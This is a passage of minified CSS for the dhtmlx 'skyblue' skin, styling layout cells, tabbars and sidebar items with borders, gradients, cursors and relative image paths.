div.dhx_cell_hdr_text.dhx_cell_hdr_text_chrome{left:5px;-webkit-transform:rotate(270deg);-webkit-transform-origin:left center;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_v div.dhx_cell_hdr div.dhxlayout_arrow.dhxlayout_arrow_va{background-position:-45px 0;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_v div.dhx_cell_hdr div.dhxlayout_arrow.dhxlayout_arrow_vb{background-position:-13px 0;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhxlayout_sep{position:absolute;background-color:#ebebeb;font-size:1px;margin:0;padding:0;overflow:hidden;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;background-repeat:no-repeat;background-position:center center;-webkit-tap-highlight-color:rgba(0,0,0,0);-ms-touch-action:none;touch-action:none;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhxlayout_sep.dhxlayout_sep_resize_v{cursor:w-resize;background-image:url('imgs/dhxlayout_skyblue/dhxlayout_sep_v.gif');}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhxlayout_sep.dhxlayout_sep_resize_h{cursor:n-resize;background-image:url('imgs/dhxlayout_skyblue/dhxlayout_sep_h.gif');}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhxlayout_sep.dhxlayout_sep_resize_actv{background-color:#dedede;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhxlayout_resize_area{position:absolute;background-color:#a4bed4;opacity:.15;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=15);z-index:1;border:2px dashed black;cursor:inherit;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhxlayout_resize_sep{position:absolute;background-color:#a4bed4;overflow:hidden;display:block;opacity:.5;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=50);z-index:2;cursor:inherit;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_menu_def{position:relative;overflow:hidden;border-width:0 1px 1px 1px;border-color:#a4bed4;border-style:solid;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_menu_def div.dhtmlxMenu_dhx_skyblue_Middle{padding:0 2px;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_menu_no_borders{position:relative;overflow:hidden;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_menu_no_borders div.dhtmlxMenu_dhx_skyblue_Middle{padding:0 2px;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_toolbar_def{position:relative;overflow:hidden;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_toolbar_def div.dhx_toolbar_dhx_skyblue{border-top-width:0;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_ribbon_def div.dhxrb_with_tabbar.dhxtabbar_base_dhx_skyblue{margin-top:-1px;width:auto;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_ribbon_def div.dhtmlxribbon_dhx_skyblue.dhxrb_without_tabbar{border-top-width:0;width:auto;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_statusbar_def{position:absolute;bottom:0;width:100%;background-color:#ddecff;font-family:Tahoma,Helvetica;font-size:11px;color:black;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_statusbar_def div.dhx_cell_statusbar_text{position:relative;padding:0 4px;height:21px;line-height:21px;border-bottom:1px solid #a4bed4;border-left:1px solid #a4bed4;border-right:1px solid #a4bed4;white-space:nowrap;overflow:hidden;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_progress_bar{position:absolute;left:0;top:0;width:100%;height:100%;background-color:white;z-index:5;opacity:.75;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=75);}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_progress_img{position:absolute;left:0;top:0;border:1px solid #a4bed4;background-position:center 55%;background-image:url('imgs/dhxlayout_skyblue/dhxlayout_cell_progress.gif');background-repeat:no-repeat;cursor:progress;z-index:6;}.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_h div.dhx_cell_statusbar_def,.dhxlayout_base_dhx_skyblue .dhxlayout_cont div.dhx_cell_layout.dhxlayout_collapsed_v div.dhx_cell_statusbar_def{display:none;}.dhxlayout_base_dhx_skyblue div.dhxcelltop_progress{position:absolute;left:0;top:0;width:100%;height:100%;background-color:white;z-index:3;opacity:.55;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=55);}.dhxlayout_base_dhx_skyblue div.dhxcelltop_progress_img{position:absolute;left:0;top:0;width:100%;height:100%;background-image:url('imgs/dhxlayout_skyblue/dhxlayout_cell_progress.gif');background-position:center center;background-repeat:no-repeat;z-index:4;}.dhxlayout_base_dhx_skyblue div.dhxcelltop_hdr{position:relative;}.dhxlayout_base_dhx_skyblue div.dhxcelltop_ftr{position:absolute;}.dhxlayout_base_dhx_skyblue div.dhxcelltop_menu{position:relative;overflow:hidden;}.dhxlayout_base_dhx_skyblue div.dhxcelltop_toolbar{position:relative;background-color:#ebebeb;padding-bottom:4px;overflow:hidden;}.dhxlayout_base_dhx_skyblue div.dhxcelltop_ribbon{padding-bottom:4px;position:relative;}.dhxlayout_base_dhx_skyblue div.dhxcelltop_ribbon div.dhtmlxribbon_dhx_skyblue.dhxrb_without_tabbar{width:auto;}.dhxlayout_base_dhx_skyblue div.dhxcelltop_statusbar{position:absolute;bottom:0;width:100%;background-color:#ebebeb;overflow:hidden;}.dhxlayout_base_dhx_skyblue div.dhxcelltop_statusbar div.dhxcont_statusbar{position:relative;margin-top:4px;border:1px solid #a4bed4;background-color:#ddecff;padding:7px 6px;font-family:Tahoma,Helvetica;font-size:11px;color:black;}body.dhxlayout_resize_v *{-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;cursor:w-resize!important;}body.dhxlayout_resize_h *{-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;cursor:n-resize!important;}div.dhxlayout_sep_sw_dhx_skyblue{position:absolute;left:0;top:-100px;width:5px;height:1px;font-size:1px;margin:0;padding:0;overflow:hidden;}.dhxlayout_skin_detect{position:absolute;left:0;top:-100px;margin:0;padding:0;border:0 solid white;width:10px;height:10px;overflow:hidden;}.dhxtabbar_base_dhx_skyblue{background-color:#ebebeb;position:relative;cursor:default;}.dhxtabbar_base_dhx_skyblue .dhxtabbar_cont{position:absolute;*overflow:hidden;}.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs{position:absolute;bottom:auto;height:28px;overflow:hidden;white-space:nowrap;border:1px solid #a4bed4;background-color:#e2efff;background:linear-gradient(#e2efff,#d3e7ff);background:-webkit-linear-gradient(#e2efff,#d3e7ff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#e2efff,endColorStr=#d3e7ff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);z-index:2;}.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs_bottom div.dhxtabbar_tabs{top:auto;bottom:0;}.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tabs_base{position:absolute;top:0;height:28px;overflow:hidden;}.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tabs_base div.dhxtabbar_tabs_cont_left,.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tabs_base div.dhxtabbar_tabs_cont_right{position:absolute;width:5000px;height:28px;margin:0 1px;top:0;-webkit-transform:translate3d(0px,0px,0px);-moz-transform:translate3d(0px,0px,0px);-ms-transform:translate3d(0px,0px,0px);-o-transform:translate3d(0px,0px,0px);transform:translate3d(0px,0px,0px);-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tabs_base div.dhxtabbar_tabs_cont_left.safari_517_fix,.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tabs_base div.dhxtabbar_tabs_cont_left.safari_517_fix div.dhxtabbar_tab,.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tabs_base div.dhxtabbar_tabs_cont_right.safari_517_fix,.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tabs_base div.dhxtabbar_tabs_cont_right.safari_517_fix div.dhxtabbar_tab{-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;transform:none!important;}.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tabs_base div.dhxtabbar_tabs_line{position:absolute;left:0;bottom:0;top:none;width:100%;height:4px;overflow:hidden;z-index:2;border-top:1px solid #a4bed4;border-bottom:0 solid white;background-color:#d3e7ff;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tabs_ar_left{position:absolute;left:0;top:0;width:15px;height:100%;background-color:#fffeff;background:linear-gradient(#fffeff,#d3e7ff);background:-webkit-linear-gradient(#fffeff,#d3e7ff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#fffeff,endColorStr=#d3e7ff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;cursor:pointer;z-index:4;}.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tabs_ar_left.dhxtabbar_tabs_ar_hidden{display:none;}.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tabs_ar_left div.dhxtabbar_arrow_img{position:relative;height:100%;border-right:1px solid #a4bed4;background-image:url(\"imgs/dhxtabbar_skyblue/dhxtabbar_arrows.gif\");background-position:0 11px;background-repeat:no-repeat;}.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tabs_ar_right{position:absolute;right:0;top:0;width:15px;height:100%;background-color:#fffeff;background:linear-gradient(#fffeff,#d3e7ff);background:-webkit-linear-gradient(#fffeff,#d3e7ff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#fffeff,endColorStr=#d3e7ff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;cursor:pointer;z-index:4;}.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tabs_ar_right.dhxtabbar_tabs_ar_hidden{display:none;}.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tabs_ar_right div.dhxtabbar_arrow_img{position:relative;height:100%;border-left:1px solid #a4bed4;background-image:url(\"imgs/dhxtabbar_skyblue/dhxtabbar_arrows.gif\");background-position:-14px 11px;background-repeat:no-repeat;}.dhxtabbar_base_dhx_skyblue div.dhx_cell_tabbar{position:absolute;background-color:white;margin:0;padding:0;overflow:hidden;cursor:default;z-index:0;background-image:none!important;}.dhxtabbar_base_dhx_skyblue div.dhx_cell_tabbar div.dhx_cell_cover{position:absolute;left:0;top:0;width:100%;height:100%;margin:0;padding:0;font-size:1px;background-color:white;overflow:hidden;z-index:1;opacity:0;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0);-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dhxtabbar_base_dhx_skyblue div.dhx_cell_tabbar div.dhx_cell_cont_tabbar{position:absolute;border-left:1px solid #a4bed4;border-right:1px solid #a4bed4;border-bottom:1px solid #a4bed4;border-top:0 solid white;overflow:hidden;z-index:0;-webkit-transform:rotateX(0);}.dhxtabbar_base_dhx_skyblue div.dhx_cell_tabbar div.dhx_cell_cont_tabbar.dhx_cell_cont_no_borders{border:0 solid white!important;}.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tab{position:relative;height:24px;background-color:white;font-family:Tahoma,Helvetica;font-size:11px;color:#34404b;border-left:1px solid #a4bed4;border-right:1px solid #a4bed4;z-index:1;cursor:pointer;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;background-color:#e2efff;background:linear-gradient(#e2efff,#d3e7ff);background:-webkit-linear-gradient(#e2efff,#d3e7ff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#e2efff,endColorStr=#d3e7ff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0);-o-transform:translate3d(0,0,0);transform:translate3d(0,0,0);}.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tabs_cont_left div.dhxtabbar_tab{float:left;margin-left:-1px;margin-right:0;}.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tabs_cont_right div.dhxtabbar_tab{float:right;margin-left:0;margin-right:-1px;}.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tab.dhxtabbar_tab_dis{background-color:#ecf5ff;background:linear-gradient(#ecf5ff,#d3e7ff);background:-webkit-linear-gradient(#ecf5ff,#d3e7ff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#ecf5ff,endColorStr=#d3e7ff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);}.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tab.dhxtabbar_tab_actv,.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tab.dhxtabbar_tab_actv_dis{z-index:3;}.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tab.dhxtabbar_tab_hidden{border:none;}.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tab div.dhxtabbar_tab_text{position:relative;height:23px;line-height:22px;vertical-align:middle;top:0;border-top:1px solid #fff;color:#34404b;text-align:center;overflow:hidden;}.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tab div.dhxtabbar_tab_text.dhxtabbar_tab_text_close{padding-right:9px;}.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tab.dhxtabbar_tab_actv div.dhxtabbar_tab_text,.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tab.dhxtabbar_tab_actv_dis div.dhxtabbar_tab_text{border-left:1px solid #fff;border-right:1px solid #fff;}.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tab.dhxtabbar_tab_actv div.dhxtabbar_tab_text{color:#34404b;font-weight:bold;}.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tab.dhxtabbar_tab_actv_dis div.dhxtabbar_tab_text{font-weight:bold;}.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tab.dhxtabbar_tab_dis div.dhxtabbar_tab_text,.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tab.dhxtabbar_tab_actv_dis div.dhxtabbar_tab_text{color:#999;}.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tab div.dhxtabbar_tab_close{position:absolute;top:6px;right:5px;width:11px;height:11px;border:1px solid #b4d3ff;border-radius:2px;background-image:url(\"imgs/dhxtabbar_skyblue/dhxtabbar_button_close.gif\");background-position:0 0;background-repeat:no-repeat;line-height:1px;overflow:hidden;z-index:1;}.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tab.dhxtabbar_tab_actv div.dhxtabbar_tab_close{border:1px solid #a4bed4;background-position:-11px 0;}.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tab.dhxtabbar_tab_dis div.dhxtabbar_tab_close,.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tab.dhxtabbar_tab_actv_dis div.dhxtabbar_tab_close{border:1px solid #a4bed4;background-position:-22px 0;}.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs_bottom div.dhx_cell_tabbar div.dhx_cell_cont_tabbar{border-top:1px solid #a4bed4;border-bottom:0 solid white;}.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs_bottom div.dhx_cell_tabbar div.dhx_toolbar_dhx_skyblue{border-bottom-width:0;border-top-width:1px;}.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs_bottom div.dhxtabbar_tabs div.dhxtabbar_tab{margin-top:4px;}.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs_bottom div.dhxtabbar_tabs div.dhxtabbar_tab.dhxtabbar_tab_actv,.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs_bottom div.dhxtabbar_tabs div.dhxtabbar_tab.dhxtabbar_tab_actv_dis{z-index:3;font-weight:bold;}.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs_bottom div.dhxtabbar_tabs div.dhxtabbar_tab div.dhxtabbar_tab_text{top:0;border-top:0 solid white;}.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs_bottom div.dhxtabbar_tabs div.dhxtabbar_tab div.dhxtabbar_tab_close{top:auto;bottom:5px;}.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs_bottom div.dhxtabbar_tabs div.dhxtabbar_tabs_base div.dhxtabbar_tabs_line{top:0;bottom:none;border-bottom:1px solid #a4bed4;border-top:0 solid white;background-color:#e2efff;}.dhxtabbar_base_dhx_skyblue div.dhx_cell_tabbar div.dhx_cell_menu_def{position:relative;overflow:hidden;border-left:1px solid #a4bed4;border-right:1px solid #a4bed4;border-bottom:1px solid #a4bed4;border-top:0 solid white;}.dhxtabbar_base_dhx_skyblue div.dhx_cell_tabbar div.dhx_cell_menu_def div.dhtmlxMenu_dhx_skyblue_Middle{padding:0 2px;}.dhxtabbar_base_dhx_skyblue div.dhx_cell_tabbar div.dhx_cell_menu_no_borders{position:relative;overflow:hidden;}.dhxtabbar_base_dhx_skyblue div.dhx_cell_tabbar div.dhx_cell_menu_no_borders div.dhtmlxMenu_dhx_skyblue_Middle{padding:0 2px;}.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs_bottom div.dhx_cell_tabbar div.dhx_cell_menu_def{border-left:1px solid #a4bed4;border-right:1px solid #a4bed4;border-top:1px solid #a4bed4;border-bottom:0 solid white;}.dhxtabbar_base_dhx_skyblue div.dhx_cell_tabbar div.dhx_toolbar_dhx_skyblue{border-bottom-width:1px;border-top-width:0;}.dhxtabbar_base_dhx_skyblue div.dhx_cell_tabbar div.dhtmlxribbon_dhx_skyblue.dhxrb_without_tabbar{border-top:0 solid white;width:auto;}.dhxtabbar_base_dhx_skyblue div.dhx_cell_tabbar div.dhxrb_with_tabbar.dhxtabbar_base_dhx_skyblue{margin-top:-1px;}.dhxtabbar_base_dhx_skyblue div.dhx_cell_tabbar div.dhx_cell_statusbar_def{position:absolute;bottom:0;width:100%;font-family:Tahoma,Helvetica;font-size:11px;color:black;background-color:#ddecff;}.dhxtabbar_base_dhx_skyblue div.dhx_cell_tabbar div.dhx_cell_statusbar_def div.dhx_cell_statusbar_text{position:relative;padding:0 4px;height:21px;line-height:21px;border-top:0 solid white;border-bottom:1px solid #a4bed4;border-left:1px solid #a4bed4;border-right:1px solid #a4bed4;white-space:nowrap;overflow:hidden;}.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs_bottom div.dhx_cell_tabbar div.dhx_cell_statusbar_def div.dhx_cell_statusbar_text{border-top:1px solid #a4bed4;border-bottom:0 solid white;}.dhxtabbar_base_dhx_skyblue div.dhx_cell_tabbar div.dhx_cell_progress_bar{position:absolute;left:0;top:0;width:100%;height:100%;background-color:white;opacity:.75;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=75);z-index:1;}.dhxtabbar_base_dhx_skyblue div.dhx_cell_tabbar div.dhx_cell_progress_img{position:absolute;left:0;top:0;width:100%;height:100%;background-image:url(\"imgs/dhxtabbar_skyblue/dhxtabbar_cell_progress.gif\");background-position:center center;background-repeat:no-repeat;z-index:2;}.dhxtabbar_base_dhx_skyblue div.dhxcelltop_progress{position:absolute;left:0;top:0;width:100%;height:100%;background-color:white;z-index:3;opacity:.55;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=55);}.dhxtabbar_base_dhx_skyblue div.dhxcelltop_progress_img{position:absolute;left:0;top:0;width:100%;height:100%;background-image:url('imgs/dhxtabbar_skyblue/dhxtabbar_cell_progress.gif');background-position:center center;background-repeat:no-repeat;z-index:4;}.dhxtabbar_base_dhx_skyblue div.dhxcelltop_hdr{position:relative;}.dhxtabbar_base_dhx_skyblue div.dhxcelltop_ftr{position:absolute;}.dhxtabbar_base_dhx_skyblue div.dhxcelltop_menu{position:relative;overflow:hidden;}.dhxtabbar_base_dhx_skyblue div.dhxcelltop_toolbar{position:relative;background-color:#ebebeb;padding-bottom:4px;overflow:hidden;}.dhxtabbar_base_dhx_skyblue div.dhxcelltop_ribbon{padding-bottom:4px;position:relative;}.dhxtabbar_base_dhx_skyblue div.dhxcelltop_ribbon div.dhtmlxribbon_dhx_skyblue.dhxrb_without_tabbar{width:auto;}.dhxtabbar_base_dhx_skyblue div.dhxcelltop_statusbar{position:absolute;bottom:0;width:100%;background-color:#ebebeb;overflow:hidden;}.dhxtabbar_base_dhx_skyblue div.dhxcelltop_statusbar div.dhxcont_statusbar{position:relative;margin-top:4px;border:1px solid #a4bed4;background-color:#ddecff;padding:7px 6px;font-family:Tahoma,Helvetica;font-size:11px;color:black;}span.dhxtabbar_tabs_text_test_dhx_skyblue{position:absolute;visibility:hidden;right:0;top:0;font-weight:bold;font-family:Tahoma,Helvetica;font-size:11px;color:black;}.dhxtabbar_skin_detect{position:absolute;left:0;top:-100px;margin:0;padding:0;border:0 solid white;width:10px;height:10px;overflow:hidden;}.dhxsidebar_base_dhx_skyblue{position:relative;cursor:default;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont{position:absolute;cursor:default;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side{position:absolute;left:0;top:0;background-color:#f5f5f5;border-style:solid;border-color:#a4bed4;border-width:1px 1px 0 1px;overflow:hidden;z-index:2;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;-webkit-tap-highlight-color:rgba(0,0,0,0);}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side div.dhxsidebar_side_items{position:absolute;width:100%;overflow:hidden;-ms-touch-action:none;-webkit-transition:top .2s;-moz-transition:top .2s;-ms-transition:top .2s;-o-transition:top .2s;transition:top .2s;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side div.dhxsidebar_side_items div.dhxsidebar_item{position:relative;padding:0 10px;z-index:1;cursor:default;margin:1px 2px;border:1px solid #f5f5f5;background-color:#f5f5f5;overflow:hidden;opacity:1;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=100);font-family:Tahoma,Helvetica;font-size:11px;color:black;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;-webkit-touch-callout:none;-ms-touch-action:none;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side div.dhxsidebar_side_items div.dhxsidebar_item.dhxsidebar_item_hidden{height:0!important;opacity:0;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0);}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side div.dhxsidebar_side_items div.dhxsidebar_item:hover{background-color:#f1f7ff;border-color:#b9cdde;z-index:2;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side div.dhxsidebar_side_items div.dhxsidebar_item.dhxsidebar_item_selected{z-index:3;border-color:#a4bed4;background-color:#b5deff;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side div.dhxsidebar_side_items div.dhxsidebar_item img.dhxsidebar_item_icon{position:absolute;left:9px;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side div.dhxsidebar_side_items div.dhxsidebar_item div.dhxsidebar_item_text{position:absolute;left:0;top:0;height:inherit;line-height:inherit;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side div.dhxsidebar_side_items div.dhxsidebar_item div.dhxsidebar_bubble{position:absolute;width:15px;height:15px;line-height:14px;right:5px;top:2px;border-radius:10px;background-color:#f22;border:2px solid #f5f5f5;font-family:Tahoma;font-size:10px;text-align:center;font-weight:bold;color:white;cursor:default;overflow:hidden;z-index:1;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side div.dhxsidebar_side_items div.dhxsidebar_item:hover div.dhxsidebar_bubble{border-color:#f1f7ff;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side div.dhxsidebar_side_items div.dhxsidebar_item.dhxsidebar_item_selected div.dhxsidebar_bubble{border-color:white;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side div.dhxsidebar_side_items div.dhxsidebar_sep{position:relative;height:1px;margin:5px 14px;overflow:hidden;background:#ccc;background:-moz-linear-gradient(left,#ebebeb 0,#ccc 50%,#ebebeb 100%);background:-webkit-gradient(linear,left top,right top,color-stop(0%,#ebebeb),color-stop(50%,#ccc),color-stop(100%,#ebebeb));background:-webkit-linear-gradient(left,#ebebeb 0,#ccc 50%,#ebebeb 100%);background:-o-linear-gradient(left,#ebebeb 0,#ccc 50%,#ebebeb 100%);background:-ms-linear-gradient(left,#ebebeb 0,#ccc 50%,#ebebeb 100%);background:linear-gradient(to right,#ebebeb 0,#ccc 50%,#ebebeb 100%);}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_touch div.dhxsidebar_side_items div.dhxsidebar_item:hover{border-color:#f5f5f5;background-color:#f5f5f5;z-index:1;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_touch div.dhxsidebar_side_items div.dhxsidebar_item.dhxsidebar_item_selected{z-index:3;border-color:#a4bed4;background-color:#b5deff;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_tpl_details div.dhxsidebar_side_items div.dhxsidebar_item{height:23px;line-height:23px;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_tpl_details div.dhxsidebar_side_items div.dhxsidebar_item img.dhxsidebar_item_icon{top:3px;width:16px;height:16px;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_tpl_details div.dhxsidebar_side_items div.dhxsidebar_item div.dhxsidebar_item_text{padding-left:34px;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_tpl_details div.dhxsidebar_side_items div.dhxsidebar_sep{margin-top:2px;margin-bottom:2px;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_tpl_tiles div.dhxsidebar_side_items div.dhxsidebar_item{height:43px;line-height:43px;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_tpl_tiles div.dhxsidebar_side_items div.dhxsidebar_item img.dhxsidebar_item_icon{top:5px;width:32px;height:32px;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_tpl_tiles div.dhxsidebar_side_items div.dhxsidebar_item div.dhxsidebar_item_text{padding-left:50px;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_tpl_tiles div.dhxsidebar_side_items div.dhxsidebar_item div.dhxsidebar_bubble{top:12px;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_tpl_icons div.dhxsidebar_side_items div.dhxsidebar_item{height:43px;line-height:43px;text-align:center;padding-left:4px;padding-right:4px;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_tpl_icons div.dhxsidebar_side_items div.dhxsidebar_item img.dhxsidebar_item_icon{position:relative;display:inline;left:0;top:5px;width:32px;height:32px;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_tpl_icons div.dhxsidebar_side_items div.dhxsidebar_sep{margin:3px 6px;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_tpl_icons_text div.dhxsidebar_side_items div.dhxsidebar_item{height:62px;line-height:1em;text-align:center;padding-left:4px;padding-right:4px;}.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_tpl_icons_text div.dhxsidebar_side_items 